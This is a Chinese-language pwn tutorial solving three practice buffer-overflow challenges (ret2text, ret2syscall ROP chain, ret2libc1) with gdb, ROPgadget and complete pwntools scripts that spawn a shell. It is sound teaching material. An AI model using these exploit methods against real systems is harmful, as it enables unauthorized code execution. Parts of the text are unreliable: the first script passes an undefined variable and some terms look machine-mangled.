Linux PWN從入門到熟練
最近在複習pwn的一些知識。主要涉及到當堆疊開啟了保護的時候,我們不能夠直接將shellcode覆蓋到堆疊中執行,而需要利用程式其他部分的可執行的小片段來連線成最終的shellcode。此小片段就是gadgets。本文主要通過練習題的方式講述如何尋找gadgets,如何利用現有的工具來加速自己的pwn的效率。Gadgets的型別和難度也逐步變化。下面帶來手把手教你linux pwn。讓你的pwn技術從入門到熟練。練習題的難度逐步加大。
第一關
第一關的gadgets較為簡單,包含了一個直接可以利用的,可返回shell的函式。我們只要計算好覆蓋的偏移,將可返回shell函式的地址覆蓋到相應的位置即可以。程式下載: ofollow,noindex" target="_blank">Pwn1
我們首先來檢視一下該程式的保護情況,發現開啟了堆疊保護。即NX enabled。且是32bit的程式。因此需要在32位的linux環境下測試。
這裡涉及到一個工具, chechsec 。該工具專門用來檢測程式中受保護的情況,我們可以根據程式受保護的情況來選擇對應的pwn策略。
下載以後,直接在命令列中建立符號連結就可以在terminal中直接使用了
sudo ln –sf checksec /usr/bin/checksec
接下來我們利用IDA檢視一下程式的原始碼:
可以發現漏洞出現在gets裡面,gets函式存在緩衝區溢位漏洞,我們可以通過超長的字串來覆蓋緩衝區,從而修改ROP。為了達到這個目的,我們需要首先計算,輸入的&s的堆疊地址位置距離堆疊的底部ebp的位置。Ebp的下一個地址,就是記錄了返回地址的位置。在32位的程式中,就是ebp+4。其中,Esp是棧頂指標,ebp是棧底指標。Esp -> ebp, 地址從小到大。小地址棧頂,大地址棧底。
我們有兩種方法可以得到s距離返回地址的偏移:徒手計算和利用patternoffset產生字串。
首先第一種方法,徒手計算。我們利用gdb的輔助工具gef來輔助檢視esp地址。
注意,這裡需要按照這個輔助工具, gef ,該工具會提供更加豐富的除錯資訊。包括堆疊資訊,暫存器資訊等。按照完畢之後,使用gdb –q *.elf執行就可以。
啟動的程式之後,我們在上述get函式的位置下斷點,即0x080486AE
可以看到 esp 為 0xbfffeed0,ebp為0xbfffef58,同時 s 相對於 esp 的索引為[esp+80h-64h]= [esp+0x1c]。所以s的地址為 0xbfffeeec,所以 s 相對於 ebp 的偏移為 0x6C(108),所以相對於返回地址的偏移為 0x6c+4(112)。
另外一種方法是利用patternoffset執行來計算。藉助到這個工具 patternoffset 。下載下來直接作為python指令碼使用。利用下面的命令產生字串到test的檔案中:
python patternLocOffset.py -c -l 700 -f test
接著遠端IDA掛載除錯,在程式的返回位置下斷點,即retn的位置。
它會在遠端的伺服器端等待我的輸入
~/ $ ./linux_server IDA Linux 32-bit remote debug server(ST) v1.22. Hex-Rays (c) 2004-2017 Listening on 0.0.0.0:23946... ========================================================= [1] Accepting connection from 192.168.110.1... There is something amazing here, do you know anything?
在這個位置,我就把產生的pattern計算字串複製進去。(注意,如果這裡始終沒有讓程式停下來讓你輸入對應的字串進去的話,就斷開ubuntu的server,然後重新連線一下,就會停下來等待我們的字串輸入)
接著,檢視程式覆蓋的暫存器ebp的內容為0x41366441
再利用offset的指令碼計算一下輸入的緩衝區地址距離ESP相差多少的位元組,相差的是108個位元組。ESP之後,儲存的就是返回的地址,所以要加上108+4=112位元組的偏移。
得到的結果和上面是一致的。
接下來,我們需要找到可以利用的系統呼叫函式。在IDA中搜索(alt+T)可以利用來的系統sh呼叫函式:
最後,將需要覆蓋的地址0x0804863A填入指定的位置覆蓋,在利用pwntools來驗證攻擊。這裡利用到了一個 pwntools 工具。推薦使用基於原始碼的安裝方式,可以更為方便。
安裝方式為:
cd ~ git clone https://github.com/aquynh/capstone cd capstone make make install cd ~ git clone https://github.com/Gallopsled/pwntools cd pwntools python setup.py install
驗證:
>>> import pwn [!] Pwntools does not support 32-bit Python.Use a 64-bit release. >>> pwn.asm("xor eax, eax") '1xc0'
使用下面的指令碼來驗證攻擊:
from pwn import * pwn1 = process('./pwn1') sh = 0x804863a pwn1.sendline('A' * (112) + p32(target)) pwn1.interactive()
第二關
在這一關中,沒有可以直接利用的system()函式讓我們直接呼叫了。我們可以學習使用系統呼叫來進行操作。系統呼叫的背景知識在 這裡 。
Syscall的函式呼叫規範為: execve(“/bin/sh”, 0,0);
它對應的彙編程式碼為:
pop eax,# 系統呼叫號載入, execve為0xb pop ebx,# 第一個引數, /bin/sh的string pop ecx,# 第二個引數,0 pop edx, # 第三個引數,0 int 0x80,# 執行系統呼叫
同樣的,首先利用工具來檢視程式保護情況:
檢視程式的程式碼,發現同樣是gets造成的函式溢位。
因此我們這裡需要人為的構造了。這裡需要用到一個工具,來查到能夠控制eax,ebx,ecx,edx。就是 ROPgadget 。下載之後,直接安裝
python setup.py install
就可以使用了。執行命令,來查詢對一個的彙編指令:
ROPgadget --binary ret2syscall --only 'pop|ret' | grep "eax"
其中—binary 表示目標二進位制的路徑,—only 表示只顯示指定的彙編語句, grep可以展示想要的暫存器。
針對eax選擇,0x080bb196 : pop eax ; ret
針對ebx和ecx選擇,0x0806eb91 : pop ecx ; pop ebx ; ret
針對edx,選擇,0x0806eb6a : pop edx ; ret
執行命令,篩選int 0x80的系統呼叫, 選擇:0x08049421
ROPgadget --binary ret2syscall --only 'int'
執行命令,篩選字串,得到:0x080be408
ROPgadget --binary ret2syscall --string '/bin/sh'
這裡選擇的每一個gadgets都含有ret是為了能夠使得程式自動持續的選擇堆疊中的指令依次執行。在構造這些gadgets之前,我們通過下面的堆疊指標移動圖,來分析一下eip指標的移動,以及對應獲取的資料內容。ret指令可以理解成去棧頂的資料作為下次跳轉的位置。即,
eip = [esp];
esp = esp+4;
或者簡單理解成: pop eip;
上圖中,左邊顯示的堆疊的內容,右邊是對應的程式碼。數字表示的是,執行到特定的彙編指令的時候,esp指標的位置。總結下來,我們通過pop指令來移動esp指標獲取資料,比如字串/bin/sh,我們通過ret指令來同樣移動esp指標來獲取下一條執行的命令。這樣,我們就能夠在不需要與堆疊中執行程式的情況下,順利的控制程式控制流的執行。
最終形成的shellcode利用pwntools的程式碼為:
#!/usr/bin/env python from pwn import * sh = process('./ret2syscall') pop_eax_ret = 0x080bb196 pop_ecx_ebx_ret = 0x0806eb91 pop_edx_ret = 0x0806eb6a int_0x80 = 0x08049421 binsh = 0x80be408 payload = flat( ['A' * 112, pop_eax_ret, 0xb, pop_ecx_ebx_ret, 0,binsh, pop_edx_ret,0, int_0x80]) sh.sendline(payload) sh.interactive()
第三關
這一關中,我們主要通過匯入函式裡面的system(“/bin/sh”)函式來完成呼叫。
發現它的保護也是類似的。該程式與之前類似,都是在gets函式存在漏洞。
首先查詢system函式是否存在,利用IDA檢視。
檢視匯入函式表,發現有system的外部呼叫函式在列表裡面,
從而確定地址為0x08048460。
在利用下面的命令查詢”/bin/sh”的字串,確定了字串的地址為0x08048720
ROPgadget --binary ret2libc1 --string "/bin/sh"
那麼就可以依葫蘆畫瓢的構造shellcode了。
#!/usr/bin/env python from pwn import * sh = process('./ret2libc1') system_plt = 0x08048460 sh_addr = 0x8048720 payload = flat(['a' * 112, system_plt, 0xabcdabcd, sh_addr]) sh.sendline(payload) sh.interactive()
這裡解釋一下,為什麼會有4個位元組空餘的部分。
這裡的部分,在正常呼叫system函式的時候,堆疊位置的system_plt之後的內容為system函式的返回地址,在之後才是新的堆疊的棧頂位置,因此在system_plt和sh_addr之間增加了4個字元來進行填充。
練習題: pwn4
下面留下一道題大家自己練習,該題目中,含有匯入函式system(),但是沒有了字串/bin/sh,需要自己想辦法獲取這個字串。